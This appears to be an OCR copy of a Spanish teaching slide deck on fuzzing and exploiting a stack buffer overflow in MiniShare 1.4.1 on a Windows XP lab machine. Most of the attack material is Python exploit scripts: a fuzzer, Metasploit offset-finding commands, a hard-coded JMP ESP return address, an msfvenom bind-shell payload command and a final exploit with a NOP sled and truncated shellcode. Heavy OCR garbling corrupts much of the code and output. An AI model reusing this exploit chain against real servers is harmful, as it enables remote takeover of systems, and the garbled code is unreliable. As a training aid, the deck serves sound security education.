HACKING: FUZZING,
ANALISIS Y EXPLOIT
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,QUE ES EL FUZZING?

Tipo de testeo

Prueba automatizada

Generar patrones aleatorios

Conseguir un comportamiento no controlado

Software y hardware

AFL, honggfuzz, ...



; QUE ES EL EXPLOITING?

Pieza de software

Aprovechar un fallo de seguridad

Accidn no esperada por el usuario

Local, Remoto, Cliente...

Ejecucion de codigo, deshabilitar protecciones, crear usuarios...




MOTIVACION

ZERODIUM Payouts for Mobiles’ un

Up to iPhone RIB
$1,500,000 Zero Click
RJB: Remote Jailbreak with Persistence - 05
RCE: Remote Code Execution Em Android
LPE: Local Privilege Escalation = Any OS
Upto SBX: Sandbox Escape or Bypass
$1,000,000

2001 2002 N 2,006 N 2007 2008 Al

WeChat Viber Signal Telegram iMessage SMS/MMS Email App
RCE+LPE RCE+LPE RCE+LPE RCE+LPE RCE+LPE RCE+LPE RCE+LPE

108 /Androld| 10S/Androld| 10S/Androld! 105 /Andro| 108
201 N

Documents Chrome Safari
RCE+LPE RCE+LPE RCE+LPE RCE+LPE

10S/Androld
5001 2002 N

Code Signing

WiFi
RCE+LPE

10S/Androld
5003 N

LPI Chrome Safari Safari RCE
Secure Boot uxss/sor Wl uxss/sor ll wrosBx

8,002

Touch ID
Bypass

108




LA PILA

0xbfffO004

OxbfffO008

OxbfffO00c

Oxbfff0010

Oxbfff0014

OxbfffO018

Oxbfff001c

Oxbfff0020

Oxbfff0024

nnaegruyter

LAEHDNERR

%ESP =

%EBP

dostuff()
—

Frame O

main()
Frame 0

ESP
(Top of stack) ->

EBP
(Frame pointer) ->

3:

Saved EBP

Saved EIP

ptrto argv[1]

OnFFFFFFFF




PREPARANDO EL ENTORNO

B XP Virtual Machine A [Running] - Oracle VM VirtualBox =

WINDOWS XP SP3

Inmunity Debugger

Python

Mona.py
MiniShare 1.4.1




CODIGO BASE

#!/usr/share/python

import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],80))

buff="GET /index.html|*

buff+="HTTP/1.1\\n\r\n”

s.send(buff)

s.close()




FUZZING

#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF _INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],80))

buff="GET ”

Buff="\x41” * 2000 #Se Envian 2000 “A” en cédigo hexadecimal
buff+=" HTTP/1.1\r\n\r\n”

s.send(buff)

s.close()




BUSQUEDA DEL OFFSET (1)

:~# fusr/share/metasploit-framework/tools/exploit/pattern create.rb -1 2000
AaBAalAaZha3hadhasAabAaTAaBAa9AboAb1AbZAD3AD4ADSADGADTADBADIACOACIACZACIACAACSACHACTACBACIAdOAdIAdZAd3Ad4AdSAdBAdTAdBAdIAeBAe1A2Ae3AcdAebhe
6AeTAeBAeOATOAT IAT2AT3AT4ATSATEATTATBATOAgRAGLAQ2Ag3Ag4Ag5Ag6AgTAgBAG2ANBARLIAR2ZAR3AR4ARSARBARTARSANOAIBATIIAIZAIIAI4AISAI6AITAIBAIOATOA]1A]2ZA
J3Aj4AJ5AI6A)TABAT9AKOAKIAKZAKIAKAAKSAKEAKTAKSAKIATOATIALZAL3AL4ATSAL6AL7ALBALIAMOAMIAMZAMIAM4AMSAME6AMTAMBAMIANOANLAN2AN3AN4ANSANEANTANBAND
AoBAD1ADZ2AD3A04A05A06A0TADBADOADOADIAP2ZAPSAPAARSAPBADPTAPBAPOAGOAQLAg2AQ3AQ4AQSAQBAQTAQBAqOAIrOATr IAr2Ar3Ar4ArSATr6Ar7Ar8Ar9AsOAs1AS2AS3AS4AASOAS
BASTASBASOATOATIAT2ATIAT4ATSATEATTATBATOAURAULAUZAUSAULAUSAUBAUTAUBAUSAVEAYIAVZAVIAVAAVSAVEAVTAVBAVIAWOAWLAWZ AWIAWAAWSAWEAWT AWBAWIAXDAXLAX2A
KIAXAAXSAXEAXTAXBAXIAYODAY LAY 2AY3AYAAYSAYEAYTAYBAYIAZOAZ1AZ2AZ3AZ4AZ5AZ6AZTAZ8AZ9Ba0BalBa2zBa3Ba4BasBa6Ba/Ba8Ba2BbeBb1Bb2Bb3Bb4Bb5Eb6EL7BLEELY
BcOBc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9BdOBd1Bd2Bd3Bd4Bd5Bd6Bd 7Bd8Bd9Be@Be1Be2Be3Be4Be5Be6Be7Be8Be9BTOBT1BT2BT3Bf4BfSBf6Bf7BTf8BT9BgOBg1Bg2Bg3Bg4Bg5Bg
6Bg7Bg8Bg9BheBh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9B1iPBi1Bi2Bi3Bi4Bi5Bi6Bi/Bi8Bi9BjPBj1Bj2Bj3Bj4Bj5Bj6Bj 7Bj8Bj9BkoBk1Bk2Bk3Bk4BKk5BK6BK7BKBBKIBLOBL1E12B
13B14B15B1L6BL7B1L8BL9BmMEEM1BM2BEm3Bm4Bm5Bm6Bm7Bm8EMIENOBN1Bn2Bn3Bn4Bn5Bn6BN7EN8BN9B0oABo1Bo2Bo3Bo4Bo5Bo6Bo7Eo8Bo9BpPBp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9
Bq8BglBq2Bq3Bq4Bg5Bq6Bg7Bq8Bq9BreBr1Br2Br3Br4Br5Br6Br7Br8Br9B8s0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9BtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Et8Bt9Bu@BulBu2Bu3Bud4BusBu
6Bu7Bu8Bu9BveBv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8BvIBWOBW1BW2BW3Bw4BW5BWE6BW/BWEBWIBXOBXx1Bx2BXx3Bx4BXx5Bx6BXx7BXx8Bx9By0By1By2By3By4By5By6By/By8By9Bz0Bz1Bz 2B
Z3Bz4Bz5Bz6Bz7BzB8Bz9CafCalCazCa3Ca4Ca5CabCa7CaB8Ca9CbOCb1Cb2Cb3Cb4Cb5Chb6Cb7Cb8Cb9CcACc1Cc2Cc3Cc4Cc5Cc6Cc7CcBCcaCdOCdlCd2Cd3Cd4Cd5Cd6Cd7Cd8Cd
Ce@CelCe2Ce3Ce4Ce5Ce6Ce7CeBCeaCfOCTICT2CT3CTA4CTSCTECT7CTEBCTICgOCY1Cg2Cy3Cg4Cg5Cy6Cg7Cg8CgaCheChlCh2Ch3Ch4Ch5Ch6Ch7Ch8Ch9CioCilCi2Ci3Ci4CisCi
6Ci7Ci8Ci9CjOCj1Cj2Cj3Cj4Cj5C)6Cj7CjBCjI9CKOCKICKk2Ck3Ck4Ck5Ck6CK7CKBCKICTIOCTIC12C13C14C15C16CL7CL8C1L9CmMEOCMICmM2Cm3Cm4Cm5Cm6Cm7Cm8CmMICn@Cn1Cn2C
n3Cn4Cn5Cn6CN7Cn8CN9CoACo1Co2Co3Co4Co5Co




BUSQUEDA DEL OFFSET (11)

#l/usr/share/python

import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],80))

buff="GET ”

Buff+="Aa0AalAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9ACOACT Ac2Ac3Ac4ACSAC6AC7AC8ACIA
d0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1 Ae2Ae3Ae4Ae5Ae6Ae7AeB8Ae9ATOAT1 A2AT3AT4ATSAT6AT7AFBAFTIAgOAg1Ag2Ag3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1 Ah2Ah3Ah4Ah5Ah6Ah7 Ah8AN9AIQ” #Se ENVIATODO EL OFFSET GENERADO
ANTERIORMENTE 2000 chars

buff+=" HTTP/1.1\r\n\r\n”

s.send(buff)

s.close()




BUSQUEDA DEL OFFSET (111)

[21:08:B2] Access violation when executing [366843351 - use Shift+F7/F8/F? to pass exception to program Paused

Registers [FPUI < < &) &)

R e Wy et e e o}

-l
-
T T -




BUSQUEDA DEL OFFSET (1V)

:~# fusr/share/metasploit-framework/tools/exploit/pattern offset.rb -q 36684335

[#] Exact match at offset 178

 Pararealizar el overflow sin sobrescribir el EIP son necesarios 1787 chars




BUSQUEDA DEL OFFSET (V)

#l/usr/share/python
import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET ”

Buff+="\x41” * 1787 #Se Envian 1787 “A” en codigo hexadecimal
Buff+="\x42” *4 #Se sobrescribe el EIP CON 4 “B”
BUFF += “x43” * 700 #Escribimos “C” en el lugar donde saltamos

buff+=" HTTP/1.1\r\n\r\n”
s.send(buff)

s.close()




BUSQUEDA DEL SALTO

* Observando los registros, necesitamos saltar al ESP
- JMP ESP
» Sin protecciones (en este ejemplo)

* Imona jmp —r esp = 0x7c86467b

LA = N = Ny R
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SUSTITUIMOS EL OFFSET

#l/usr/share/python
import socket,sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET ”

Buff+="\x41" * 1787 #Se Envian 1787 “A” en cbdigo hexadecimal
Buff+="\x7b\x46\x86\x7¢c” #Direccion del JMP ESP

BUFF+="x43" * 700 #Escribimos “C” en el lugar donde saltamos

buff+=" HTTP/1.1\r\n\r\n”

s.send(buff)

s.close()




GENERAMOS UNA SHELLCODE

: ~H#F ru~‘Fv-—-n:-ru -p windows/shelly/bind tcp -a x -f python -b '‘\x@e\xa\xed’
No platform wa = choosing Msf::Module::Platform: :Windows from the payload
Found 1@ cumpdtlbl

\a"FC\»54\ Sd\a 3
a\»cg‘\»Sb\ c4b™, »
2\» 12X bb\»E.d




EXPLOIT FINAL

#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET ”

Buff+="\x41"* 1787 #Se Envian 1787 “A” en codigo hexadecimal
Buff+="\x7b\x46\x86\x7c” #Direccion del JMP ESP

BUFF+="x43" * 700 #Escribimos “C” en el lugar donde saltamos

Buff+="\x90” * 20 #NOPS

buff += "\xd9\xc6\xd9\x74\x24\xf4\xbd\x9b\x4e\xf1\xc3\x5a\x2b| . . . ] #SHELLCODE GENERADA (resumen)

s.send(buff)

s.close()




EJECUCION DEL EXPLOIT (ANTES)

C:xDocuments and SettingssAdministratorsDesktopinetstat —an
Active Connections

Proto Local Address

TCP A.A.A.4:8A4

TCP A.A.A.A:135

TCP A.A.A.A:445
127.8.8.1:1825
172.16.99.128:139

B:445

A:580

A:-1832

B:1833

A:
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- 4588

2 1:123
127.8.8.1:1788
172.16.99.128:123
172.16.99.128:137
172.16.99.128:138
172.16.99.128:1988
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EJECUCION DEL EXPLOIT

Active Connections

Local Address
B.0.8.8:-88

State
LIS
LIS
LIS
LISTE
CLOSE_UAIT
LISTENIHNG
FIN_WAIT_2
LISTENIHNG

=)

[fsds = = &

EE X R XX EE X X ROEOIEJEEEET
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127.8.8.1:19804
172.16.99.128:123
172.16.927.128:137
172.16.99.128:138
172.16.27.128:1788
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GRACIAS

¢,Alguna pregunta?




REFERENCIAS

 Exploit writing tutorial part 1 : Stack Based Overflows
* https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/




